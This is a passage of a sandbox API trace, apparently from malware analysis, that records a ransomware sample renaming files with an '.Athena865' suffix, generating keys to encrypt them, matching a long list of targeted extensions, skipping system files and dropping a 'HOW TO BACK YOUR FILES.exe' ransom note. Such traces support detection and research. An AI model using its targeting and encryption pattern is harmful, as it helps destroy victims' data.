[0064.694] lstrlenW (lpString="udl") returned 3 [0064.694] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0064.694] lstrlenW (lpString="usr") returned 3 [0064.694] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0064.694] lstrlenW (lpString="v12") returned 3 [0064.694] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0064.694] lstrlenW (lpString="vis") returned 3 [0064.694] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0064.694] lstrlenW (lpString="vpd") returned 3 [0064.694] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0064.694] lstrlenW (lpString="vvv") returned 3 [0064.694] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0064.694] lstrlenW (lpString="wdb") returned 3 [0064.694] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0064.694] lstrlenW (lpString="wmdb") returned 4 [0064.694] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0064.694] lstrlenW (lpString="wrk") returned 3 [0064.694] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0064.694] lstrlenW (lpString="xdb") returned 3 [0064.694] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0064.694] lstrlenW (lpString="xld") returned 3 [0064.694] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0064.694] lstrlenW (lpString="xmlff") returned 5 [0064.694] lstrcmpiW (lpString1="s.dll", lpString2="xmlff") returned -1 [0064.694] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\wab32res.dll.Athena865") returned 59 [0064.694] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\wab32res.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\wab32res.dll.athena865"), dwFlags=0x1) returned 1 [0064.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\wab32res.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\wab32res.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0064.695] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1098752) returned 1 [0064.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0064.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0064.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0064.696] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0064.697] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0064.697] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.697] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10c700, lpName=0x0) returned 0x17c [0064.699] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10c700) returned 0x2d50000 [0064.756] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0064.758] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0064.758] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0064.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0064.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0064.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0064.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0064.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0064.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0064.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0064.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0064.759] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0064.769] CloseHandle (hObject=0x17c) returned 1 [0064.769] CloseHandle (hObject=0x154) returned 1 [0064.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0064.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0064.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0064.774] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0064.774] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0064.774] ReleaseMutex (hMutex=0xec) returned 1 [0064.774] CloseHandle (hObject=0xec) returned 1 [0064.774] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\DVD Maker\\en-US" | out: lpString1="C:\\Program Files\\DVD Maker\\en-US") returned="C:\\Program Files\\DVD Maker\\en-US" [0064.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x517168 | out: hHeap=0x4f0000) returned 1 [0064.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c2c0 | out: hHeap=0x4f0000) returned 1 [0064.774] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\en-US") returned 32 [0064.774] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\7749BFB447A6B852EAF32A4004491C61") returned 0xec [0064.774] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0064.775] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\en-US" | out: lpString1="C:\\Program Files\\DVD Maker\\en-US") returned="C:\\Program Files\\DVD Maker\\en-US" [0064.775] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0064.775] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0 [0064.776] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\en-us\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0064.776] GetLastError () returned 0x0 [0064.776] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0064.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x539d08 [0064.776] ReadFile (in: hFile=0xf4, lpBuffer=0x539d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x539d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0064.777] CloseHandle (hObject=0xf4) returned 1 [0064.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539d08 | out: hHeap=0x4f0000) returned 1 [0064.777] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0064.777] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbd68c7a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd68c7a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0064.778] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.778] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0064.778] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0064.778] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbd68c7a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd68c7a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.778] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.778] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0064.778] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0064.778] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0064.778] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0064.778] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.778] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.778] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2=".") returned 1 [0064.778] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="..") returned 1 [0064.778] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="windows") returned -1 [0064.778] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="bootmgr") returned 1 [0064.778] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="temp") returned -1 [0064.778] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="pagefile.sys") returned -1 [0064.778] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="boot") returned 1 [0064.778] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="ids.txt") returned -1 [0064.778] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="ntuser.dat") returned -1 [0064.778] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="perflogs") returned -1 [0064.778] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="MSBuild") returned -1 [0064.778] lstrlenW (lpString="DVDMaker.exe.mui") returned 16 [0064.778] lstrcpyW (in: lpString1=0x241e88a, lpString2="DVDMaker.exe.mui" | out: lpString1="DVDMaker.exe.mui") returned="DVDMaker.exe.mui" [0064.778] lstrlenW (lpString="DVDMaker.exe.mui") returned 16 [0064.778] lstrlenW (lpString="Athena865") returned 9 [0064.778] lstrcmpiW (lpString1="r.exe.mui", lpString2="Athena865") returned 1 [0064.778] lstrlenW (lpString=".dll") returned 4 [0064.779] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2=".dll") returned 1 [0064.779] lstrlenW (lpString=".lnk") returned 4 [0064.779] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2=".lnk") returned 1 [0064.779] lstrlenW (lpString=".ini") returned 4 [0064.779] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2=".ini") returned 1 [0064.779] lstrlenW (lpString=".sys") returned 4 [0064.779] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2=".sys") returned 1 [0064.779] lstrlenW (lpString="DVDMaker.exe.mui") returned 16 [0064.779] lstrlenW (lpString="bak") returned 3 [0064.779] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0064.779] lstrlenW (lpString="ba_") returned 3 [0064.779] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0064.779] lstrlenW (lpString="dbb") returned 3 [0064.779] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0064.779] lstrlenW (lpString="vmdk") returned 4 [0064.779] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0064.779] lstrlenW (lpString="rar") returned 3 [0064.779] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0064.779] lstrlenW (lpString="zip") returned 3 [0064.779] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0064.779] lstrlenW (lpString="tgz") returned 3 [0064.779] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0064.779] lstrlenW (lpString="vbox") returned 4 [0064.779] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0064.779] lstrlenW (lpString="vdi") returned 3 [0064.779] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0064.779] lstrlenW (lpString="vhd") returned 3 [0064.779] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0064.779] lstrlenW (lpString="vhdx") returned 4 [0064.779] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0064.779] lstrlenW (lpString="avhd") returned 4 [0064.779] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0064.779] lstrlenW (lpString="db") returned 2 [0064.780] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0064.780] lstrlenW (lpString="db2") returned 3 [0064.780] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0064.780] lstrlenW (lpString="db3") returned 3 [0064.780] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0064.780] lstrlenW (lpString="dbf") returned 3 [0064.780] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0064.780] lstrlenW (lpString="mdf") returned 3 [0064.780] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0064.780] lstrlenW (lpString="mdb") returned 3 [0064.780] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0064.780] lstrlenW (lpString="sql") returned 3 [0064.780] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0064.780] lstrlenW (lpString="sqlite") returned 6 [0064.780] lstrcmpiW (lpString1="xe.mui", lpString2="sqlite") returned 1 [0064.780] lstrlenW (lpString="sqlite3") returned 7 [0064.780] lstrcmpiW (lpString1="exe.mui", lpString2="sqlite3") returned -1 [0064.780] lstrlenW (lpString="sqlitedb") returned 8 [0064.780] lstrcmpiW (lpString1=".exe.mui", lpString2="sqlitedb") returned -1 [0064.780] lstrlenW (lpString="xml") returned 3 [0064.780] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0064.780] lstrlenW (lpString="$er") returned 3 [0064.780] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0064.780] lstrlenW (lpString="4dd") returned 3 [0064.780] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0064.780] lstrlenW (lpString="4dl") returned 3 [0064.780] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0064.780] lstrlenW (lpString="^^^") returned 3 [0064.780] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0064.780] lstrlenW (lpString="abs") returned 3 [0064.780] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0064.780] lstrlenW (lpString="abx") returned 3 [0064.781] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0064.781] lstrlenW (lpString="accdb") returned 5 [0064.781] lstrcmpiW (lpString1="e.mui", lpString2="accdb") returned 1 [0064.781] lstrlenW (lpString="accdc") returned 5 [0064.781] lstrcmpiW (lpString1="e.mui", lpString2="accdc") returned 1 [0064.781] lstrlenW (lpString="accde") returned 5 [0064.781] lstrcmpiW (lpString1="e.mui", lpString2="accde") returned 1 [0064.781] lstrlenW (lpString="accdr") returned 5 [0064.781] lstrcmpiW (lpString1="e.mui", lpString2="accdr") returned 1 [0064.781] lstrlenW (lpString="accdt") returned 5 [0064.781] lstrcmpiW (lpString1="e.mui", lpString2="accdt") returned 1 [0064.781] lstrlenW (lpString="accdw") returned 5 [0064.781] lstrcmpiW (lpString1="e.mui", lpString2="accdw") returned 1 [0064.781] lstrlenW (lpString="accft") returned 5 [0064.781] lstrcmpiW (lpString1="e.mui", lpString2="accft") returned 1 [0064.781] lstrlenW (lpString="adb") returned 3 [0064.781] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0064.781] lstrlenW (lpString="adb") returned 3 [0064.781] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0064.781] lstrlenW (lpString="ade") returned 3 [0064.781] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0064.781] lstrlenW (lpString="adf") returned 3 [0064.781] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0064.781] lstrlenW (lpString="adn") returned 3 [0064.781] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0064.781] lstrlenW (lpString="adp") returned 3 [0064.781] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0064.781] lstrlenW (lpString="alf") returned 3 [0064.781] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0064.781] lstrlenW (lpString="ask") returned 3 [0064.781] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0064.781] lstrlenW (lpString="btr") returned 3 [0064.781] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0064.782] lstrlenW (lpString="cat") returned 3 [0064.782] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0064.782] lstrlenW (lpString="cdb") returned 3 [0064.782] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0064.782] lstrlenW (lpString="ckp") returned 3 [0064.782] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0064.782] lstrlenW (lpString="cma") returned 3 [0064.782] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0064.782] lstrlenW (lpString="cpd") returned 3 [0064.782] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0064.782] lstrlenW (lpString="dacpac") returned 6 [0064.782] lstrcmpiW (lpString1="xe.mui", lpString2="dacpac") returned 1 [0064.782] lstrlenW (lpString="dad") returned 3 [0064.782] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0064.782] lstrlenW (lpString="dadiagrams") returned 10 [0064.782] lstrcmpiW (lpString1="er.exe.mui", lpString2="dadiagrams") returned 1 [0064.782] lstrlenW (lpString="daschema") returned 8 [0064.782] lstrcmpiW (lpString1=".exe.mui", lpString2="daschema") returned -1 [0064.782] lstrlenW (lpString="db-journal") returned 10 [0064.782] lstrcmpiW (lpString1="er.exe.mui", lpString2="db-journal") returned 1 [0064.782] lstrlenW (lpString="db-shm") returned 6 [0064.782] lstrcmpiW (lpString1="xe.mui", lpString2="db-shm") returned 1 [0064.782] lstrlenW (lpString="db-wal") returned 6 [0064.782] lstrcmpiW (lpString1="xe.mui", lpString2="db-wal") returned 1 [0064.782] lstrlenW (lpString="dbc") returned 3 [0064.782] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0064.782] lstrlenW (lpString="dbs") returned 3 [0064.782] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0064.782] lstrlenW (lpString="dbt") returned 3 [0064.782] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0064.782] lstrlenW (lpString="dbv") returned 3 [0064.783] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0064.783] lstrlenW (lpString="dbx") returned 3 [0064.783] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0064.783] lstrlenW (lpString="dcb") returned 3 [0064.783] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0064.783] lstrlenW (lpString="dct") returned 3 [0064.783] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0064.783] lstrlenW (lpString="dcx") returned 3 [0064.783] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0064.783] lstrlenW (lpString="ddl") returned 3 [0064.783] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0064.783] lstrlenW (lpString="dlis") returned 4 [0064.783] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0064.783] lstrlenW (lpString="dp1") returned 3 [0064.783] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0064.783] lstrlenW (lpString="dqy") returned 3 [0064.783] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0064.783] lstrlenW (lpString="dsk") returned 3 [0064.783] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0064.783] lstrlenW (lpString="dsn") returned 3 [0064.783] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0064.783] lstrlenW (lpString="dtsx") returned 4 [0064.783] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0064.783] lstrlenW (lpString="dxl") returned 3 [0064.783] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0064.783] lstrlenW (lpString="eco") returned 3 [0064.783] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0064.783] lstrlenW (lpString="ecx") returned 3 [0064.783] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0064.783] lstrlenW (lpString="edb") returned 3 [0064.783] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0064.783] lstrlenW (lpString="epim") returned 4 [0064.784] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0064.784] lstrlenW (lpString="fcd") returned 3 [0064.784] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0064.784] lstrlenW (lpString="fdb") returned 3 [0064.784] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0064.784] lstrlenW (lpString="fic") returned 3 [0064.784] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0064.784] lstrlenW (lpString="flexolibrary") returned 12 [0064.784] lstrcmpiW (lpString1="aker.exe.mui", lpString2="flexolibrary") returned -1 [0064.784] lstrlenW (lpString="fm5") returned 3 [0064.784] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0064.784] lstrlenW (lpString="fmp") returned 3 [0064.784] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0064.784] lstrlenW (lpString="fmp12") returned 5 [0064.784] lstrcmpiW (lpString1="e.mui", lpString2="fmp12") returned -1 [0064.784] lstrlenW (lpString="fmpsl") returned 5 [0064.784] lstrcmpiW (lpString1="e.mui", lpString2="fmpsl") returned -1 [0064.784] lstrlenW (lpString="fol") returned 3 [0064.784] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0064.784] lstrlenW (lpString="fp3") returned 3 [0064.784] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0064.784] lstrlenW (lpString="fp4") returned 3 [0064.784] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0064.784] lstrlenW (lpString="fp5") returned 3 [0064.784] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0064.784] lstrlenW (lpString="fp7") returned 3 [0064.784] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0064.784] lstrlenW (lpString="fpt") returned 3 [0064.784] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0064.784] lstrlenW (lpString="frm") returned 3 [0064.784] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0064.784] lstrlenW (lpString="gdb") returned 3 [0064.785] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0064.785] lstrlenW (lpString="gdb") returned 3 [0064.785] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0064.785] lstrlenW (lpString="grdb") returned 4 [0064.785] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0064.785] lstrlenW (lpString="gwi") returned 3 [0064.785] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0064.785] lstrlenW (lpString="hdb") returned 3 [0064.785] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0064.785] lstrlenW (lpString="his") returned 3 [0064.785] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0064.785] lstrlenW (lpString="ib") returned 2 [0064.785] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0064.785] lstrlenW (lpString="idb") returned 3 [0064.785] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0064.785] lstrlenW (lpString="ihx") returned 3 [0064.785] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0064.785] lstrlenW (lpString="itdb") returned 4 [0064.785] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0064.785] lstrlenW (lpString="itw") returned 3 [0064.785] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0064.785] lstrlenW (lpString="jet") returned 3 [0064.785] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0064.785] lstrlenW (lpString="jtx") returned 3 [0064.785] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0064.785] lstrlenW (lpString="kdb") returned 3 [0064.785] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0064.785] lstrlenW (lpString="kexi") returned 4 [0064.785] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0064.785] lstrlenW (lpString="kexic") returned 5 [0064.785] lstrcmpiW (lpString1="e.mui", lpString2="kexic") returned -1 [0064.785] lstrlenW (lpString="kexis") returned 5 [0064.785] lstrcmpiW (lpString1="e.mui", lpString2="kexis") returned -1 [0064.786] lstrlenW (lpString="lgc") returned 3 [0064.786] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0064.786] lstrlenW (lpString="lwx") returned 3 [0064.786] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0064.786] lstrlenW (lpString="maf") returned 3 [0064.786] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0064.786] lstrlenW (lpString="maq") returned 3 [0064.786] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0064.786] lstrlenW (lpString="mar") returned 3 [0064.786] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0064.786] lstrlenW (lpString="marshal") returned 7 [0064.786] lstrcmpiW (lpString1="exe.mui", lpString2="marshal") returned -1 [0064.786] lstrlenW (lpString="mas") returned 3 [0064.786] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0064.786] lstrlenW (lpString="mav") returned 3 [0064.786] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0064.786] lstrlenW (lpString="maw") returned 3 [0064.786] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0064.786] lstrlenW (lpString="mdbhtml") returned 7 [0064.786] lstrcmpiW (lpString1="exe.mui", lpString2="mdbhtml") returned -1 [0064.786] lstrlenW (lpString="mdn") returned 3 [0064.786] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0064.786] lstrlenW (lpString="mdt") returned 3 [0064.786] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0064.786] lstrlenW (lpString="mfd") returned 3 [0064.786] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0064.786] lstrlenW (lpString="mpd") returned 3 